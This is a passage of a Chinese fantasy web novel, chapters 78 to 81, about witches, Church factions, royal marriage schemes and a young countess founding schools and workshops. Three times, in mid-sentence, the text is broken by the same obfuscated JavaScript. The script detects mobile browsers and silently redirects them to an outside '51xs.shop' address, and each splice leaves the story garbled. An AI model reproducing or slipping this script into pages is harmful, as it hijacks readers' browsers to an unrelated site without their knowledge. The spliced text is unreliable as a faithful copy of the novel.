激进派主张暴力征服对教会不敬的国家与地区,大肆捕捉女巫检查没有巫师血统后便毫不留情烧死。他们对于女巫的态度就是囚禁、监管、驯养。背地里有许多见不得人的实验。 “据我所知,尤金五世大肆摧毁炼金术书籍,正是因为撞见过激进派的某种实验。但这些年激进派收敛了许多,或许是太多罪行被发现,不得已放弃一部分。” 贾斯语气厌恶,看得出她极度不喜激进派。从她口中说出的那些实验,在场所有人听后都面色难看,这已经不是人类能作出的行为了。 “不幸的是,教会里太多人属于激进派,包括如今的教皇冕下,利益面前人性不值一提。”贾斯语气一转,提到了阿方索, “那位阁下属于保守派。保守派多为平民,索滋境内教会内部平民尤其多。” 亲教的贵族基本被古斯塔杀光了,克劳拉腹诽。但因为古斯塔,教会被迫提拔大量平民出生神职人员,保守派的势力也得以壮大。 “保守派存在已久,大多主张和女巫交好,毕竟两者其实利益并不冲突。女巫没有建立宗教信仰的想法,更想培养学者,探究世界的真相。双方完全可以互利共赢。” “听你的口气,你是保守派?”克劳拉倒没有因为她的一面之词,就相信教会还有很大一部分人对女巫持有好态度,她有些好奇贾斯的立场。 贾斯微微一笑,“不,我是中立派。中立派的人几乎不在乎另外两方的纠纷,只在乎自己的地位。” 拿到自己手里的权利才是真的,中立派就是这么现实。就像贾斯,她只想成为圣殿骑士团团长,至于其他派系纠纷、女巫争执和她又有什么关系?谁让她看到更多的价值,她就和哪一方合作。 目前她衡量过各方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她冷笑着,医者协会居然提前跑空了,而教会内部早在圣殿骑士进攻前也偷跑了一批。只有库里神父一定要亲眼见到克劳拉与弗洛伦斯的死亡留在了要塞。 正好库里神父也被关押,等教会使者拿来赎金后,他将一同被逐出西亚尔玛。 女巫们选定了教堂做传送点,打算布置一个巨大的传送阵,往返奥林德城。这样姐妹会的成员也能经常往返两地。 这几天达索琳和安娜她们早出晚归就是在绘制法阵,大型传送阵需要反复检查以防出现纰漏。 玛格丽特实在好奇这种法阵的运行,也很好奇女巫们是如何精准地出现在雪原,救下先遣部队的。 克劳拉为她解答,传送阵分定点传送,以及坐标传送。定点传送就是在固定位置绘制几个大型法阵,只要同时催动两边法阵,就能做到大规模传送。 坐标传送则要选定媒介才能传送到特定位置,比如女巫能精准出现在雪原,因为伊登手中的戒指就是坐标。 媒介只要一直在,哪怕四处移动,女巫们也能传送到附近,通常适用小规模传送。 教会此次传送应该采用两种方式混合,才能在短时间内将士兵和大型武器迅速送达西亚尔玛。 “女巫的手段听上去也太多样了。”玛格丽特充满了向往,尽管她成为不了女巫,但只是学习了解原理,应该也能探索出不少真理。 “当然,她们可是神的宠儿。”克劳拉同样向往这种神奇的力量,谁没有妄想过自己拥有改天换地的力量。 她坚信人类总有一天,哪怕不依靠女巫的能力,也能做到这一点。 79. 第79章 冬星节当日上午,艾洛薇得知国王想见她一面,王室近侍已经在公爵府外等待。 此时的艾洛薇正在欣赏她的杰作,斐迪南公爵昏迷在床上,他形如枯槁,全然不见清醒时的威严。女仆们每天会为他擦拭身体,并喂些流食。 而艾洛薇经常会扮演一位关心父亲的贴心女儿,亲自来探望他。 管家恭敬地在她面前俯身,但没有换来她一个眼神,“回告侍卫,我正在整理容妆。” 国王可不会无故见她,想都不用想,又是艾林搞的鬼,这次又是为了什么。 古斯塔在王后的玻璃花房里面见了她,第三任王后伊丽莎白也在身边。 外面是纷纷扬扬的大雪,花房里却温度适宜,王室的奢华生活可见一斑。 艾洛薇快速打量四周,包括坐着的两位。 艾林本人并不在周围,正好方便她发挥。又将目光掠过新王后,心想着伊丽莎白和那位长得可真不像,更像是老温斯顿公爵,那位将她送进宫里真不是为了恶心古斯塔吗? “艾洛薇·斐迪南?”顺着国王的命令,她缓缓抬头,面上带着被召见的惶恐不安。 这张脸有些熟悉,古斯塔认出了这是常年呆在玛丽身边的女孩。她面容已经长开,比小时候更可人,难怪安德鲁会喜欢,又有小时候的情意。 他掩去对玛丽的不喜,尽力表现得很和善,像一位长辈,“也过去这么多年了,玛丽若是看到你这幅模样,一定非常欣慰,她一直将你当作女儿。” 艾洛薇有很长一段时间没有近距离见过国王了,十年?自从玛丽死后她就甚少与国王见面,难为陛下还从记忆深处想起她的存在。 她适时地露出对玛丽的怀念与一丝沉痛的表情,虽然玛丽被当成魔女被处死了,但艾洛薇可不想顺着老国王说出侮辱玛丽的话,也不想和玛丽撇清关系。 古斯塔没听到他想听的话,脸沉了一瞬,但很快又温和地问道:“艾洛薇已经年有21了吧,一直没有婚配?” 果然是为了这件事,艾洛薇装作无知少女的样子,眼睛微垂,声音哀怨,“这些年父亲身体一直不太好,我心悦的人大抵觉得公爵府要没落了,不愿意入公爵府……” 眼前的少女是斐迪南第三个女儿,没有儿子的情况下确实招婿继承爵位可能性更大,古斯塔稍加思索,似乎在考量艾洛薇撒谎骗他的可能性。 “陛下您能为我做主吗?只要您开口!斐迪南家哪里配不得他了,他一来就会是继承人,还是说他还在想着……”艾洛薇愤愤道,随后又自觉失言收声,慌慌忙向国王道歉。 “你心仪之人是谁?”古斯塔表情看不出喜怒,似乎没有在意艾洛薇的失言。 艾洛薇抬头,双眼微亮,又有些羞涩抿唇,“是艾林·瓦兰许。” “殿下,日安。”身后传来花房的侍卫的问候声。 艾洛薇掩在衣袖下的手指微微抽动一下,但面上没有任何表情变化。 脚步声逐渐靠近,古斯塔紧紧注视着艾洛薇的动作,见她悄悄敛去羞涩,平静地向安德鲁行礼。而他的儿子也目不斜视走进花亭,向他和王后行礼。 “陛下召我来什么事吗?” 古斯塔原本想让安德鲁摘下面具,但回想他那张丑恶不堪的脸,又作罢。 他示意安德鲁在另一边椅子上入座,当着安德鲁的面又一次询问艾洛薇,心仪之人是谁。 “陛下,是艾林·瓦兰许。”艾洛薇再次说出了这个名字。 国王也不知是否相信,他没有再问艾洛薇的事,反而是艾洛薇追问两次国王能否为她赐婚,都被国王以要询问本人意见敷衍过去。 他转而催促安德鲁早些将克劳拉接回王都结婚。 “陛下,您忘了,王后离世后,王室成员有十一个月的孝期。”安德鲁沉声道。虽然这是教会的规定,古斯塔从来没有执行过。 古斯塔仿佛被刺痛一般,毕竟他几任王后都是无缝娶进宫。他面上带着明显怒气,但在发作前,一直保持沉默的伊丽莎白忽然开口: “晚上就是冬星舞会,今年殿下的舞伴决定好了吗?” “当然。”安德鲁说出了一位贵女的名字。 “陛下,也快到时间了,不如我们改日再商讨殿下的婚事?” 古斯塔对这位新王后倒是宠爱,顺着她的意思,挥手让两人离开。 艾洛薇心中嗤笑,正巧此时艾林也来到花园里,应该是汇报贵族们逐渐入宫的事。 她扬起明媚的笑容,迎了上去,用在场所有人都能听到的声音,小声道:“舞会见,艾林近侍长。” 面对国王意味深长的眼神,艾林动作一顿,随即若无其事走进亭中,继续向国王汇报。 克劳拉不在王都,艾洛薇觉得舞会索然无味,贵女们如往常一般围在她的身边。但在她看不见的地方,逐渐有对于她不结婚的质疑与嘲弄声传来。 这次就是这些流言蜚语通过艾林传到国王耳里,才让国王来试探她和安德鲁的吧。 等到明年,流言蜚语会更多,不过没关系,艾林既然这么喜欢在陛下面前乱说话,以后就让他说不了。顺带再替她当两年挡箭牌吧。 “洛薇,你今天心情似乎很好?”身旁有人问她。 艾洛薇扇面一扬,“确实有高兴的事。” 舞会后的用餐时间,今晚和安德鲁跳舞的贵女来找她,“殿下在老地方等您。” 脸上的笑容微滞,艾洛薇并不想在这个关头和安德鲁私下见面。但还是和身边人道失陪,离开了大殿。 殿外正下着细雪,冷风吹来时,身后的贵女冻得微微颤抖,艾洛薇让她先去走廊等待,独自一人进入了废弃的宫殿。 玛丽离世后,她连这座宫殿都很少步入。 花园里很寂静,只有她踩在雪地里的声音。艾洛薇畅通无阻地走到记忆中的池塘边,果不其然看到了熟悉的身影。 池塘已经完全干枯,池底只余下薄薄一层冰。 艾洛薇在他身边站定,敛去了所有笑容,“安德鲁,我说过在王宫不要找我见面。” 身边人没有说话,将手中的文书递给她。 是她想要拦截下的东西,艾洛薇不用打开都知道,她将文书收入袋中,“谢谢。” “上次没有问你,克劳拉过得还好吗?”安德鲁忽然道。 艾洛薇奇怪地看他一眼,克劳拉过得怎么样,亚克不是一直有来信告知他吗。 “还不错,长高了也变厉害了。”提到克劳拉,她心情又好了几分。 只是安德鲁心情更加沉重,“是吗?我一直在想和克劳拉订婚到底正不正确,后来我发现,将她的资料递交给霍恩的是你的人。” “洛薇,你到底在做什么?就算你不想和我结婚,直说就好,为什么要牵扯别人。” 他的语气近乎卑微,想要恳求艾洛薇告知他答案。 “但是克劳拉不是别人——算了,和你说了也不懂,你只需要按照我说的来就行。”既然拿到了她想要的东西,艾洛薇毫不犹豫就要转身离开。 但安德鲁握住了她的手,“至少告诉我,和艾林·瓦兰许订婚也是必要的吗?” 原来安德鲁因为这种事闹别扭,艾洛薇今天心情好,便打算哄他两下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177797|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她向前一步抱住安德鲁,将耳朵贴在他胸口,声音轻柔,“放心好了,艾林·瓦兰许不可能和我订婚,侯爵夫人可绝不会允许这种事发生。” 瓦兰许夫人手里有那个女人的把柄,艾洛薇试探了几次都没问出任何东西,一想到这件事她就有些不满。 “再等待一阵,安德鲁,很快我们就能在一起了。” 刚从宴会脱身的克劳拉回到房间里,西亚尔玛人比她想象中的热情太多了,吃的都往她盘子里塞,晚餐她差点撑到吐出来。 晚宴又喝了些果子酒,这里的果酒都比王都要烈,克劳拉头疼得趴在床上。 吃太多睡不着。 后天就要回德林郡了,也不知道菲米娅和雪莉现在也在过节吗? 艾洛薇这会肯定在王宫里参加舞会,今年她不在,安德鲁的舞伴多半是她了。 西亚尔玛今天没有下雪,天空澄澈,群星闪烁。 克劳拉原本不想开窗的,但窗外细微的动静,让她将窗打开一探究竟。 “你到底多喜欢爬窗户。”克劳拉四下打量,确认这会是士兵换班的时间,前坪空无一人。 幸好没人,不然她简直丢脸丢到别人家了。一气之下克劳拉将窗台上的碎雪全扫在塔脸上。 后者攀在墙上一动不动,任由克劳拉撒气。 半天,克劳拉才伸出手将塔拉进来,将手帕甩在他身上让他自己擦去脸上的雪水。 克劳拉坐在床沿,“说吧,这次又要做什么?” 在塔开口前,克劳拉忽然想到一件事,举着右手问他,“这是共生图腾?” 塔在为她绘制图腾时所说的,似乎并不是共生图腾的效果,但赫利斯作为祭司她的话应该没有作假。 “不是,”塔单膝跪在她面前,仰视她,“这是伴生图腾。” 塔没有解释两种图腾的不同,克劳拉垂着眼,心想着以后再去问赫利斯。 “您那天生气了吗?”塔试探着将手搭在她膝上。 “没有。”克劳拉回答得干脆利落,她确实没有生塔的气。 但是不太想见到塔,因为他太敏锐了,克劳拉不喜欢自己被看穿的感觉。 “我想一直留在您身边。”塔如此说道,“哪怕您回到王都,又或者去任何地方。” 这是他第一次直白地对着克劳拉表达自己的意愿。 这与之前的契约时的誓言不同,克劳拉清楚地分辨出了两者的区别,随之而来的是疑惑不解。 “为什么?伊登不是告诉你我和别人订婚了,最多两年我就会回王都结婚,到时候你打算以什么身份呆在我身边?” 这些都没有让塔退步,他目光灼灼直视着克劳拉的眼睛,“您有更远大的目标,和那位艾洛薇大人似乎在谋划什么。” 他微顿,观察着克劳拉的神情,只要她神色不对,他就会立即停下来。 但克劳拉神色平静,示意他接着说。 “所以,结婚对象对您来说只有利用价值,是达成目标的工具。” 看他说得这么笃定,克劳拉忍不住打击他,“你说得对,我确实在利用安德鲁。但我同样在利用你,你凭什么认为你的价值大到可以一直留在我身边。” 安德鲁,塔记下了这个名字。 克劳拉还在等他的答案,居高临下的眼睛里只有他的倒影。塔一字一句道:“我会成为您身边最有价值的那个,让您永远无法舍弃我。” 也不知道是被他气到,还是被这份坚定打动,克劳拉笑起来,伸出一只手戳弄他的眉心,将他推远些, “那我拭目以待。” 80. 第80章 德林郡的冬日严寒虽然不比最北的西亚尔玛,但屋外也堆积了厚厚的积雪。 这不过是冬日平常的一天,汤姆和父亲一起打扫着屋顶的积雪,若是不及时处理,要不了几天屋顶就会被压塌。 几辆载满孩童的雪橇驶过屋前,车上坐着的孩童还朝汤姆挥手告别。 码农抱着最小的女儿走出门,目送这些孩子离开,“等莉莉长大些,也能去学校了。” “去学校有什么用,以后还不是种田的。”汤姆嘟嚷着,一时不查被父亲推下来的雪堆砸了个正着。 “再怎么样识字也能去城里找点工作,又或者嫁好些。”码农可不认为读书没有用,若是她当年读了书,现在可不会嫁给个农民。 “听说那边织布厂,只招收女工,只要达标每个月能有600铜,每周都有休息日,还包两餐。等莉莉大些我就要去那边。” 纺织厂招聘的时候,村里不少未婚的女孩都跑去了。这家纺织厂离他们村庄近,给的钱又多,农户家的女儿也没有城里那么多讲究,有钱赚就不错了。 做了几天后,女孩们回来就抱怨,识字会算数的女管理比她们工资高多了,一个月能有一到两银,据说城堡里那些识字的女仆甚至能赚更多。 之前伯爵阁下要求将领地所有6岁到13岁的孩子都送去学校学习,不论性别。每个月只收100铜当做餐饮费。 大多数人都不愿意,或者只送了儿子,指望他们学些东西以后能进入城堡中为领主工作。 现在女工们将消息带回来后,又有人暗暗想将女儿也送去,但大部分村民仍然不打算送女儿去学校。 每个月100铜,虽然领主的人告知每年只会有8个月上学,但算下来也有800铜,并不是一笔小数目,更别提还要进行好几年。家里还少了一个人种田干活。 菲米娅目前暂替克劳拉管理学校,城中的士兵每天会驾驶雪橇亲自接送孩子们。 这些雪橇都是维尔图人制作的,维尔图的小孩们也一起学习。 半个月学校里的学生渐渐多起来,从最初的十几个,变成现在的两百来个孩子,其中有近一半是维尔图的孩子。 维尔图的孩子有男有女,但德林郡的孩子基本是男孩,女孩的数量手指头都数得过来。菲米娅早有预料,她写信告知克劳拉。 收到回信是让她暂时不用管,等到明年领地内会再多建几所学校,并扩招老师,到时候会强制要求所有适龄孩子,不论男女都入学,否则领民将面对巨额罚款。 没读过书的领民目光见识都有限,很多事必须强制执行。但也意味着管理者需要更谨慎衡量这些政策带来的影响。 至少在克劳拉看来,强制女孩们读书有利无害。这些男性安逸太久,不让另一种性别奋起,不和他们争夺资源,不让他们感到危机,社会怎么进步。 冬日里,领民大都蜗居在家中,不会到处乱跑。士兵们巡察的重点便放在防止山上饥饿的野兽袭击村庄上。 莫兰特叼了一块肉干在口中慢慢咀嚼,巡逻的工作相当枯燥,尤其是队长话少的情况。 “也不知道两位阁下什么时候回来。”他叹口气。 亚克冷漠撇他一眼,根据这些日子的相处,他猜到莫兰特又要胡言乱语了,所以他提前让莫兰特闭嘴。 但并没有起任何作用,莫兰特仍然自言自语道:“你不觉得我们就像得不到克劳拉阁下宠爱的情夫一样,每天就盼着阁下回来或是下次带我们一起出去,还要为阁下奉献一切。” “你再胡言乱语,编排阁下,我就拔了你的舌头。”亚克简直受够了这人的不正经,还每天死皮赖脸留在城堡里,不愿意回自己的骑士领。 “亚克队长,你就是太假正经了,克劳拉阁下魅力这么大,能被她青睐简直是一生的荣幸。你可能不知道最北边的尼斯王庭,国王和第一王妃就是各玩各的。” 莫兰特叹口气,可惜在索滋帝国,王后就像被锁在王宫里鸟儿一样。他一想到克劳拉阁下以后也会如此,就深感遗憾。 见亚克真的抽出剑挥向他,莫兰特才收敛了些。他百无聊赖地扯着缰绳,四处张望。 这小子到底是什么来头,亚克心下思量着,他的实力与见识并不像无名之辈,而且还曾在王都呆过一段时间。但在此之前亚克从未听过他的名字。 亚克忍不住询问:“你似乎很久以前就认识阁下?” “啊!五年前在王子殿下的成人宴会上有幸与阁下见过几回。”莫兰特扬起唇角,他眼睛一转,慢悠悠道,“一时不察,还听到了有些令人意外的对话——” 亚克脸色骤沉。 告别侯爵与西亚尔玛的众人,克劳拉终于踏上了归途。 法阵绘制了将近一周,达索琳来回实验了几次,使用了不少魔法石才确认法阵的安全性。 大巫与侯爵商议,法阵每周启动两次,来返各一次。又确认好定价2枚银币一次,巫师塔就读的学生可以免费使用。 介于法阵运行与维护都是女巫们出材料,所以传送阵赚取的钱币女巫占六成,剩下侯爵与德文希家各两成。 克劳拉本来不打算要这笔费用,毕竟她一点力没出。 但达索琳表示,法阵周边需要侍卫维护秩序,检票买票都需要普通人,这些都女巫都不想插手管理。 德林郡的法阵选址在维尔图小镇这边。这是克劳拉决定的,带动点附近的经济,离女巫塔也近,又离奥林德堡有一小段距离。 重要的一点,克劳拉打算将西边的庄园用作学校——巫师塔独属于女巫,但会收容一些能人异士。 庄园学校则容纳非巫师的学生,以后细分中等教育和大学,再新建几所学校教习基础教育。 巫师和普通学生必须分开来,避免日后产生纠纷。 法阵的光芒逐渐亮起,玛格丽特和弗洛伦斯暂时不和她前往德林郡,她们要等开春再前往。 弗洛伦斯红着眼眶朝她挥手告别,克劳拉微抬起手,在刺眼的光芒里闭上双眼。 再次睁眼时,眼前人已经变换成了菲米娅和雪莉的身影。 “菲米娅!我回来了!”伊登想冲向菲米娅,并给她一个拥抱,但脚步不稳,差点摔倒,里奥眼疾手快扶住了他。 “阁下,您应当稳重一点。”菲米娅脸上的笑容逐渐消失,索性她早已习惯伯爵的粗枝大叶,敷衍地与伊登贴面礼,又有条不紊地指挥骑士们将行礼与侯爵阁下的赠礼运回城堡。 雪莉迫不及待地拉住克劳拉,想要和她分享这段时间纺织厂的事情。 但克劳拉先侧头,看向了塔,她挥手将塔唤过来, “明天晨训和上课继续,不要偷跑。” 塔微抬眼,注意到雪莉和伊登不善的眼神,他目光一转又停留在克劳拉脸上,“好。” “行了,你回族中吧。” 走在克劳拉身边的雪莉,忽然听到她的小姐莫名低声说道:“古斯塔应该快来这边征兵了……” 她理智地忽略了克劳拉对国王的不敬,终于分享自己这些天的日常。 以往因为领地不会纺织羊毛,领地的羊毛洗涤并由周围农户女主人纺纱后,再低价卖给商人。 但萨曼认出德林郡的羊毛是一种极为优质的羊毛制品的原材料——而这种羊毛制品比在领民手中收购的价格贵了近百倍。 克劳拉:……亏死了!她要把这些奸商都抓起来! 在女巫和维尔图人的帮助下,成功复刻出了被纺织协会垄断的织布机和纺纱机。 等到开春萨曼的商队就准备离开德林郡售卖新纺织的羊毛制品了。 “你们做得很好,但是雪莉,在外面一定要保护好自己。”克劳拉摸了摸她的头,看得出雪莉确实很喜欢和萨曼一起工作的生活。 “没关系!安娜给了我魔法药水,看谁不顺眼就喷一下,能让他浑身痒几天!”雪莉挥了挥拳,和身侧的安娜相视一笑,“况且,我还锻炼了那么久,还可以逃跑!等战士们来救我!” 克劳拉弹了下她的额头,“不要以为所有人都像在德林郡一样,若是外头的人好解决,萨曼就不会落到这个下场。雪莉,永远对他人保持警惕,尤其是男人。” 雪莉嘟囔着答应。 回到城堡后,克劳拉又忙碌起来,抽了些时间,每天接见各种人,还要处理各项事务。 原本防线她打算让哈里斯和莫兰特前往,但是伊登主动提到想要驻守边防线。 手中笔一停,克劳拉抬头凝视伊登,“你认真的?” “当然!”伊登前所未有的认真,军权当然不能完全交给黄眼小子,或是轻浮小子,他们都对克劳拉居心不良,他得自己替克劳拉握在手里。 “若拉不用担心,最起码得夏末我才会前往那边,我还会待在你身边很长一段时间!” “我不担心你,比较担心那些士兵被你折腾。”克劳拉嘴上这么说着,心里却还是隐隐难受,“随你吧,你自己去和哈里斯他们说好,那就将领地巡察交给莫兰特。亚克还是得待在我身边,维尔图战士那边也由你去和塔商议,他们以后将并入德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187829|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林军中,怎么管理是你的事……” 开春后,冬日种下的燕麦与黑麦在女巫调制肥料影响下,迎来了一波丰收。 如今田地里随处可见女巫们,她们或与农民交流,或在指导他们怎么施肥。 去年地豆丰收的事情并不是秘密,再加上不少农户品尝到了这种新食物,今年春天不少农户尝试种植地豆。也因为丰收是女巫们带来的,领民对她们的态度直接一改从前,都是喜悦与尊敬。 除此之外,那批由艾洛薇带给她的种子也被种进了庄园。达索琳并没有明说这些作物具体用途,只告诉克劳拉这些都能带来巨大的经济效益,不过她和女巫们还需要再研究。 女巫塔已经完全竣工,但达索琳参考了克劳拉的意见,让来自西亚尔玛的女孩们在庄园学习。确认这些学生中哪些能够觉醒成为女巫后,再让她进入女巫塔。 如玛格丽特所说,离开的韦德到处宣扬,反而激起许多人的好奇心,想要来巫师塔一探究竟。 冬星节结束后又陆陆续续来了几位医学生,被带回了德林郡,除此之外还有些奇奇怪怪的家伙,其中不乏教会派来试探的家伙。 但因为入塔需要严格的考核,只有少部分却有能力的人成功进入塔内。心怀不轨的家伙很快被剔除,再由维尔图的战士们杀死或是彻底赶出德林郡。 庄园学校也顺利展开,目前因为老师人手不足,不少课程交由年轻女巫们,索性学生们并不在意老师和她们年纪相仿,只要能学到东西就是最好了。 蕾莱终于有了安定的教学地点,不用再带着女孩们东躲西藏,避开教会的抓捕。 她无比珍惜得之不易的机会,除了上课还在城中到处义诊。弄得德林郡的医者协会闹了几次,但都被骑士们强行镇压。 克劳拉威胁他们要么离开德林郡,要么像之前的商人一样被赶出德林郡,要么就老老实实去女巫塔学习并认真当好医者。 至于他们的选择如何克劳拉并不关心,她只管不让任何人阻碍领地的发展。 今年的五月节,克劳拉并没有回王都,而是在西亚尔玛度过。弗洛伦斯带着她徒步攀上德林山脉的山峰。 正如士兵们所说,夏天的德林山脉和寒冬完全不同,四处生机勃勃。 绿草成荫,牛羊成群。草原与蓝天白云交织在一起,能闻到泥土青草的气息,听到潺潺流水,这是与在城中全然不同的生命气息。 徒步走了三天,她们才来到索滋帝国的最北边。站在山峰,入目之处是一望无际的林海。 “巨魔它们就居住在这一片森林里?”克劳拉指着眼前的原始森林询问。 弗洛伦斯道:“对,在森林深处,这片森林实在太难进去了,危险性很高。以前我们的人还想在其他季节消灭巨魔,但他们躲在林中根本不出来。” 她又像想起了什么一样,撇嘴道:“你知道吗,人们把人类未曾涉猎过的森林叫做处女林,这座森林就是。” “我不喜欢这个称呼。”克劳拉直白道。 “我也不喜欢,怎么不叫处男林!是因为处男很少吗!男人在这方面倒是有自知之明。”弗洛伦斯的声音很大,两人不远处的骑士们也都听到了,神色尴尬。 “看什么看!说的就是你们!都知道骂女人不检点,怎么不说到处睡的男人不检点!”弗洛伦斯叉腰瞪他们。 “我们又没有到处乱睡……”有骑士小声反驳,“都是同意了才……” “呸!”弗洛伦斯恶狠狠唾弃他们,转头和克劳拉抱怨,“不是处男的男人一铜不值,至少我以后的结婚对象必须得是。” 克劳拉笑了下,转而说起了其他话题,“弗洛娅,你知道东方有一种武器,会发出雷鸣般的巨响,数量多能够炸毁一座小山,做成小圆球射到人身上可以轻松穿透人体。” “那这种武器用在对付巨魔上,岂不是我们西亚尔玛可以少牺牲很多人!”弗洛伦斯眼睛一亮,追问着这种武器的细节。 但克劳拉知道的也并不多,这些都是女巫告知她的,不过克劳拉确实有发展这种武器的念头。 “人类发展得太快了,终有一天这种以前无人敢探索的森林也会被人类推平,到时候巨魔再无藏身之处。”克劳拉如此说道。 等巨魔再无藏身之处时,白珠的存在和来源将不会是秘密,到时候人类会做些什么。 “那太好了!”耳边弗洛伦斯坚定地道,“到时候就将这些可恶的巨魔全都消灭。” “你说得对,弗洛娅,我们应该将这些巨魔全部消灭。” 81. 第81章 今年的五月节再度回到芙洛宫,今年的主题有所不同,晚宴将会举行假面舞会。 已婚贵族们笑道:“这种活动就留给年轻人吧,我们这些上了年纪的旁观就好。” 年轻人们佯装抱怨王后的新花样,心里却在隐隐期待着晚宴的到来。 克劳拉和伊登一到场,就吸引了所有人的目光。德文希家在王都消失近两年,贵族们还以为安德鲁会像他父亲一样,清理掉他不喜欢的结婚对象。 但目前看来兄妹两过得很好,甚至安德鲁很快出现在众人的视线里,邀请两人前往三楼。 徒留楼下神色各异的贵族们,看来要重新考量德文希家的联姻价值了。 “克劳拉!”刚上楼,艾洛薇就匆匆扑过来,“你这家伙去年居然敢不回来!你都不知道去年舞会我怎么度过的!” 克劳拉稳稳接住了她,“抱歉抱歉,领地的事实在太多了。” 一年多未见,艾洛薇有说不完的话要告诉克劳拉,她目光瞥向旁边的两位男士,“两位自便,我和克劳拉还有别的事。” 说罢她就拉着克劳拉离开,“我和你说……” “请吧,德文希伯爵,霍恩在另一边等你。”安德鲁目送两人离开,这才向伊登作出邀请姿势。 伊登褪去了两年前的青涩感,身上多了些战场上历练过的凌厉。安德鲁不动神色地打量着他,不得不承认这身气势再配上他的脸,确实让人移不开眼。 但相比之下,克劳拉的变化更大,安德鲁暗忖,这就是艾洛薇无论如何都要促成克劳拉离开王都的理由吗? “然后呢,艾林那家伙就被打发去做倒酒官了。”艾洛薇如今想起来还想笑,她也确实笑倒在克劳拉的肩膀上。 克劳拉心中无语,艾林吃力不讨好,非针对艾洛薇做什么。 古斯塔娶公主前,有位从小一起长大的未婚妻,所以原本娶公主的应该是他的同胞弟弟。但古斯塔解除了婚姻抢走了弟弟的未婚妻成为了国王。 但据说公主和那位弟弟真心相爱,两人在古斯塔加冕前私奔了,为了遮丑,古斯塔才用了病逝这个名头。几年后古斯塔的下属发现了两人,并当场将两人杀死。 这是一段王国秘辛,还是霍德华侯爵告知克劳拉的,也不知道艾洛薇如何得知。 总之古斯塔从那以后极度厌恶觊觎兄长权势的弟弟,他赐给不少贵族二子三子爵位,但一旦发现这些人觊觎长子的东西又会毫不犹豫贬谪他们。 艾洛薇就将艾林塑造成了这样的形象。 “所以为什么国王没让你和艾林订婚?”克劳拉更好奇这件事。 提到这个,艾洛薇脸色微变,她贴在克劳拉耳边,“记得我和你说过的国王的私生子吗?” 私生子和这件事有什么关系,克劳拉疑惑。 “你知道国王有位未婚妻吧。”艾洛薇肯定道,从克劳拉没有询问艾林的隐情,她就猜到克劳拉知道古斯塔的私事。 “那个女人后来嫁给了老温斯顿公爵,为他生下了莱文·温斯顿和伊丽莎白·温斯顿。伊丽莎白确实是老温斯顿的孩子,但莱文究竟是谁的种谁也说不清。” 克劳拉瞳孔地震,一时有些理不清这些人的关系,玛丽·温斯顿是老温斯顿的长女,和现在的家主霍恩是一母同出的姐弟。 而在之后老温斯顿娶了古斯塔的未婚妻,古斯塔则娶了他的女儿。很多年后,古斯塔又娶了这位老情人的小女儿。而这位新王后年龄和安德鲁差不多。 她确认了下艾洛薇没在开玩笑,心想这些贵族,也太混乱了吧。 “所以呢,瓦兰许夫人不可能让艾林入赘到公爵府,她手里正好有陛下这位老情人的把柄。我和艾林的婚事无论如何成不了,现在所有人都知道我对艾林心生爱慕,但因为国王阻拦不能在一起。” 艾洛薇对这些名声并不在意,总之有正当理由不结婚就行。只是克劳拉的表情成功取悦了她,“怎么样,现在你理解情报的重要性了吧,搞懂这些贵族的利害,就能利用他们达成目的。” 走廊有人声传来,两人默契地转移了话题,讨论起了晚宴。 今晚的舞会以花为主题,戴上假面的贵族们挑选心仪的花别在胸口或是戴在头上。到舞会环节可以邀请佩戴同一种花的异性作为舞伴。 而跳舞结束后,可以选择继续寻找下一位舞伴,或是直接摘下面具。 当然即使戴着面具,相熟的人很快就能认出彼此,这场舞会不过是一场变相的相亲仪式。 “今晚你打算选什么花?”艾洛薇好奇。 这场舞会的形式还是克劳拉提出的,借着王后的手操办。这种小要求安德鲁没理由拒绝,尤其现在国王不在王都,在边境准备征战。 克劳拉卖了个关子,“不告诉你。” “不说就不说!我倒要看看你今天和谁跳舞!”艾洛薇直觉克劳拉不可能无缘无故提出这种要求,反正她知道克劳拉晚上会穿什么,到时候好好观察一番。 下午的茶话会和晚宴不是一套礼服,克劳拉今天穿的是一条底色浅绿色的礼裙,层层叠叠的白色蕾丝上缀着各式花卉。 这是她精心挑选的裙子,腰间堆积的蕾丝可以遮掩没有被束紧的腰——早习惯不束腰了,克劳拉一刻都忍不了! 艾洛薇的裙子可比她的华丽多了,裙摆层层叠叠从粉渐变至玫红,同色系的人造花衬在礼帽上、胸口、腰间。 事实上身着礼服时,女人们被要求微微含胸驼背,但艾洛薇从不如此,她骄傲地展示着自己。 “你这也太显眼了,谁都看得出来是你。”克劳拉忍不住打趣她。 艾洛薇对着镜子比划整理着礼帽,“那又怎么样,裙子做来就是用来穿的!” 今晚大家都会戴着相同的金色面具,从鼻子一直覆盖额头,只有羽毛颜色不尽相同。 安德鲁不会参加假面舞会,他在门外等待两位女士,似乎是特意过来看上几眼。门一打开,他的目光就一直停留在艾洛薇身上。 